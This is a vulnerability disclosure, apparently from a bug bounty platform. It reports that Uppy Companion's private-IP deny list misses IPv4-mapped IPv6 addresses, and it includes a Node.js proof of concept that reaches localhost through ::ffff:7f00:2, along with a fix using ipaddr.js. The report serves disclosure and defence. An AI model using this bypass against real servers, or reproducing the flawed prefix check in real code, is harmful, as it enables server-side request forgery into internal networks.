Lucene search

K
huntrHaxatronC1C03EF6-3F18-4976-A9AD-08C251279122
HistoryDec 30, 2021 - 5:00 p.m.

Server-Side Request Forgery (SSRF) in transloadit/uppy

2021-12-3017:00:22
haxatron
www.huntr.dev
6
ssrf
uppy
ipv4-mappedipv6
denial
privateip
dnslookup
vulnerability
cloudipaddress

EPSS

0.003

Percentile

66.0%

Description

Uppy is vulnerable to SSRF through IPv4-mapped IPv6 addresses - https://www.ibm.com/docs/en/zos/2.1.0?topic=addresses-ipv4-mapped-ipv6

The report at https://hackerone.com/reports/786956 does not fix it because it uses a easily bypassable deny list in https://github.com/transloadit/uppy/blob/main/packages/%40uppy/companion/src/server/helpers/request.js#L28L80. From my understanding, there are two mechanisms to check if an IP address is private. isPrivateIP and dnsLookup, both rely on the isPrivateIP to check for private IP address. However, isPrivateIP faills to check for IPv4-mapped IPv6 addresses (example: ::ffff:7f00:2), which contain a double colon in front that isPrivateIP fails to check. ::ffff:7f00:2 translates to 127.0.0.2 but is not detected by isPrivateIP or the dnsLookup function

You may use a tool to convert any IPv4 address to IPv6 here: https://iplocation.io/ipv4-to-ipv6/

Proof of Concept

I extracted out the key functions, for convenience, let me know if this isn’t enough:

const request = require('request')
const dns = require ('dns')

ip = "::ffff:7f00:2"

function isPrivateIP (ipAddress) {
  let isPrivate = false
  // Build the list of IP prefix for V4 and V6 addresses
  const ipPrefix = []
  // Add prefix for loopback addresses
  ipPrefix.push('127.')
  ipPrefix.push('0.')
  // Add IP V4 prefix for private addresses
  // See https://en.wikipedia.org/wiki/Private_network
  ipPrefix.push('10.')
  ipPrefix.push('172.16.')
  ipPrefix.push('172.17.')
  ipPrefix.push('172.18.')
  ipPrefix.push('172.19.')
  ipPrefix.push('172.20.')
  ipPrefix.push('172.21.')
  ipPrefix.push('172.22.')
  ipPrefix.push('172.23.')
  ipPrefix.push('172.24.')
  ipPrefix.push('172.25.')
  ipPrefix.push('172.26.')
  ipPrefix.push('172.27.')
  ipPrefix.push('172.28.')
  ipPrefix.push('172.29.')
  ipPrefix.push('172.30.')
  ipPrefix.push('172.31.')
  ipPrefix.push('192.168.')
  ipPrefix.push('169.254.')
  // Add IP V6 prefix for private addresses
  // See https://en.wikipedia.org/wiki/Unique_local_address
  // See https://en.wikipedia.org/wiki/Private_network
  // See https://simpledns.com/private-ipv6
  ipPrefix.push('fc')
  ipPrefix.push('fd')
  ipPrefix.push('fe')
  ipPrefix.push('ff')
  ipPrefix.push('::1')
  // Verify the provided IP address
  // Remove whitespace characters from the beginning/end of the string
  // and convert it to lower case
  // Lower case is for preventing any IPV6 case bypass using mixed case
  // depending on the source used to get the IP address
  const ipToVerify = ipAddress.trim().toLowerCase()
  // Perform the check against the list of prefix
  for (const prefix of ipPrefix) {
    if (ipToVerify.startsWith(prefix)) {
      isPrivate = true
      break
    }
  }

  return isPrivate
}

// Mechanism 1 - IP itself
console.log(isPrivateIP(ip))

// Mechanism 2 - DNS Lookup
dns.lookup(ip, (err, address, family) => {
  console.log('address: %j family: IPv%s', address, family);
  console.log(isPrivateIP(address))
});

// This goes to localhost
request('http://[' + ip + ']', function (error, response, body) {
  console.error('error:', error); // Print the error if one occurred
  console.log('statusCode:', response && response.statusCode); // Print the response status code if a response was received
  console.log('body:', body); // Print the HTML for the Google homepage.
});

The output:

isPrivateIP says its public
address: "::ffff:7f00:2" family: IPv6
dnsLookup says its public
body: 
[request body of http://127.0.0.2]

Impact

This vulnerability is capable of SSRF to any IP address, including private and cloud IP address.

Recommended Fix

The https://www.npmjs.com/package/ipaddr.js/ package can be used to determine if an IP address is public or private instead of trying to catch all possible private IP addresses.

var ipAddr = require('ipaddr.js')

// BAD
console.log(ipAddr.parse("127.0.0.1").range())
console.log(ipAddr.parse("192.168.0.1").range())
console.log(ipAddr.parse("::ffff:7f00:2").range())
console.log(ipAddr.parse("fd12:3456:789a:1::1").range())

// GOOD
console.log(ipAddr.parse("142.251.12.138").range())
console.log(ipAddr.parse("2600::").range())

unicast = good.

loopback
private
ipv4Mapped
uniqueLocal
unicast
unicast

EPSS

0.003

Percentile

66.0%

Related for C1C03EF6-3F18-4976-A9AD-08C251279122